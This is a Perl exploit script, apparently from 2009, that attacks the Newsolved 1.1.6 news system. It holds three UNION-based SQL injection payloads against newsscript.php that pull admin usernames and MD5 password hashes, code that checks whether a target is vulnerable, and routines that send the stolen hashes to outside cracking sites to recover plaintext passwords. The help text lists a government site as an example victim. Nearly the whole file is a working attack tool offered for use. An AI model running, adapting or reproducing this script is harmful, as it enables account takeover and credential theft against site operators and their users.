#!/usr/bin/perl -w
# Neversolved.pl
#
# Copyright (c) 2009 by <jmp-esp.net>
#
# A simple login grabber
# by lama - 06/23/2009
#
# Tested on: Newsolved 1.1.6

use strict;
use LWP::UserAgent;
use Getopt::Std;
use vars qw/ %opt /;
getopts( "i:p:u:lfh", \%opt );

my @bugs =
(
    [
         "newsscript.php?m=archive&jahr=0'+UnIoN+SeLeCt+CoNcAt('1',':',user,':',pw)+FrOm+[PRE"
        ."FIX]_intern_users+WhErE+id='[USERID]&jahr_check=ok",
         "monat_num=1:(.*?):([a-f0-9]{32})"
    ],
    [
         "newsscript.php?m=archive&topic_check=ok&idneu=-1'+UnIoN+SeLeCt+3,CoNcAt(user,':',pw"
        ."),1,4,1,5,9,2,6,5,3,5,8,9,7,9,3,2,3,8+FrOm+[PREFIX]_intern_users+WhErE+id='[USERID]",
         "([^>]+):([a-f0-9]{32})<"
    ],
    [
         "newsscript.php?mailto=ok&newsid=-1'+UnIoN+SeLeCt+1,CoNcAt(user,':',pw),6,1,8,0,3,3,"
        ."9,8,8,7,4,9,8,9,4,8,4,8+FrOm+[PREFIX]_intern_users+WhErE+id='[USERID]",
         "<i>(.*?):([a-f0-9]{32})<\/i>"
    ]
);

my @lookups =
(
    [
        'http://md5.rednoize.com/?q=[HASH]&s=md5&go=Search',
        '',
        '<div id="result" >(.*?)</div>'
    ],
    [
        'http://milw0rm.com/cracker/search.php',
        'hash=[HASH]&Submit=Submit',
        '>[a-f0-9]{32}</TD><TD align="middle" nowrap="nowrap" width=90>(.*?)</TD>'
    ],
    [
        'http://securitystats.com/tools/hashcrack.php',
        'inputhash=[HASH]&type=MD5&Submit=Submit',
        '<BR>[a-f0-9]{32} = (.*?)</td>'
    ],
    [
        'http://md5decrypter.com/index.php',
        'hash=[HASH]&submit=Decrypt',
        '<b class=\'red\'>Normal Text: </b>(.*?)\n'
    ]
);

sub isHost
{
    my $target = shift;
    if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ )
    {
        my $host = $1;
        my $folder = ( $2 ? $2 : '/' );
        if ( $folder !~ /\/$/ )
        {
            $folder .= '/';
        }
        return "http://$host$folder";
    }
    else
    {
        return 0;
    }
}

sub replacePlaceholder
{
    my $search = shift;
    my $replace = shift;
    my $placeholder = shift;
    $search=~s/\[$placeholder\]/$replace/g;
    return $search;
}

sub isVulnerable
{
    my $target = shift;
    my $ua = LWP::UserAgent->new;
    my $request = new HTTP::Request('GET', $target);
    $request->header('User-Agent' => $opt{u});
    my $response = $ua->request($request);
    my $body = $response->content;
    if ($body =~ /mysql_fetch_object/)
    {
        return 1;
    }
    elsif (!($body =~ /styles_output\.css/))
    {
        return 0;   
    }
    else
    {
        return -1;
    }
}

sub getHash
{
    my $target = shift;
    my $regexp = shift;
    my $ua = LWP::UserAgent->new;
    my $request = new HTTP::Request('GET', $target);
    $request->header('User-Agent' => $opt{u});
    my $response = $ua->request($request);
    my $body = $response->content;
    if ($body =~ /$regexp/)
    {
        return ($1, $2);
    }
    else
    {
        return 0;   
    }
}

sub searchPlaintext
{
    my $hash = shift;
    foreach (@lookups)
    {
        my $server = replacePlaceholder(@$_[0], $hash, "HASH");
        my $post = replacePlaceholder(@$_[1], $hash, "HASH");
        my $ua = LWP::UserAgent->new;
        my $request = new HTTP::Request('POST', $server);
        $request->content("$post");
        $request->content_type('application/x-www-form-urlencoded');
        $request->header('Referer' => $server);
        $request->header('User-Agent' => $opt{u});
        my $response = $ua->request($request);
        my $body = $response->content;
        if ($body =~ /@$_[2]/)
        {
            return $1;
        }

    }
    return 0;
}

sub attackTarget
{
    my $target = shift;
    my $userid = shift;
    foreach (@bugs)
    {
        my $bug = @$_[0];
        $bug = replacePlaceholder($bug, $userid, "USERID");
        $bug = replacePlaceholder($bug, $opt{p}, "PREFIX");
        (my $username, my $password) = getHash($target.$bug, @$_[1]);
        if (($username) && ($password))
        {
            return ($username, $password);
        }
    }
    return 0;
}

sub showHelp
{
    print "Newsolved <= 1.1.6 Sploiter ( jmp-esp.net )\n"
        . "Usage: $0 [options] Victim\n"
        . "OPTIONS\n"
        . " -i integer: Userid [1]\n"
        . " -u string: Useragent [IE]\n"
        . " -p string: Prefix [newsolved]\n"
        . " -f: Force [optional]\n"
        . " -l: Lookup [optional]\n"
        . " -h: Help [optional]\n"
        . "EXAMPLES\n"
        . " ./$0 http://pentagon.gov/news/\n"
        . " ./$0 -f -i 4 http://omnomnom.com/\n"
        . "OTHER\n"
        . " Magic_Quotes_GPC needs to be off\n";
}

sub showBanner
{
    print "  __                                          \n"
        . " |__|.--------.-----.______.-----.-----.-----.\n"
        . " |  ||        |  _  |______|  -__|__ --|  _  |\n"
        . " |  ||__|__|__|   __|      |_____|_____|   __|\n"
        . "|___|         |__|    lama  06/23/2009 |__|   \n"
        . "Kampfgeschrei!\n\n";   
}

if ($opt{h})
{
    showHelp();
    exit;
}

my $victim = shift;
if (!($victim) || !($victim = isHost($victim)))
{
    showHelp();
    exit;   
}

$opt{u} = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' if (!$opt{u});
$opt{i} = '1' if (!$opt{i});
$opt{p} = 'newsolved' if (!$opt{p});

if (scalar(@bugs) < 1)
{
    print "Bugs or gtfo. Srsly.\n";
    exit;
}

my $vulnerability = isVulnerable($victim.$bugs[0][0]);
if ($vulnerability == 0)
{
    print "This doesn't look like Newsolved. Read the help, now.\n\n";
    showHelp();
    exit if (!$opt{f});
}
elsif ($vulnerability == -1)
{
    print "Magic_Quotes_Gpc seems to be on. Read the help, now.\n\n";
    showHelp();
    exit if (!$opt{f});
}

showBanner();
(my $username, my $password) = attackTarget($victim, $opt{i});
if ($username)
{
    print "Target:\t\t".isHost($victim)." ( ID: ".$opt{i}." )\n";
    print "Username:\t$username\nPassword:\t$password\n";
    if ($opt{l})
    {
        my $cleartext = searchPlaintext($password);
        if ($cleartext)
        {
            print "Cleartext:\t$cleartext\n";
        }
        else
        {
            print "Cleartext:\tNot found\n";
        }
    }
}
else
{
    print "Unable to retrieve the password: Is the userid correct?\n";
}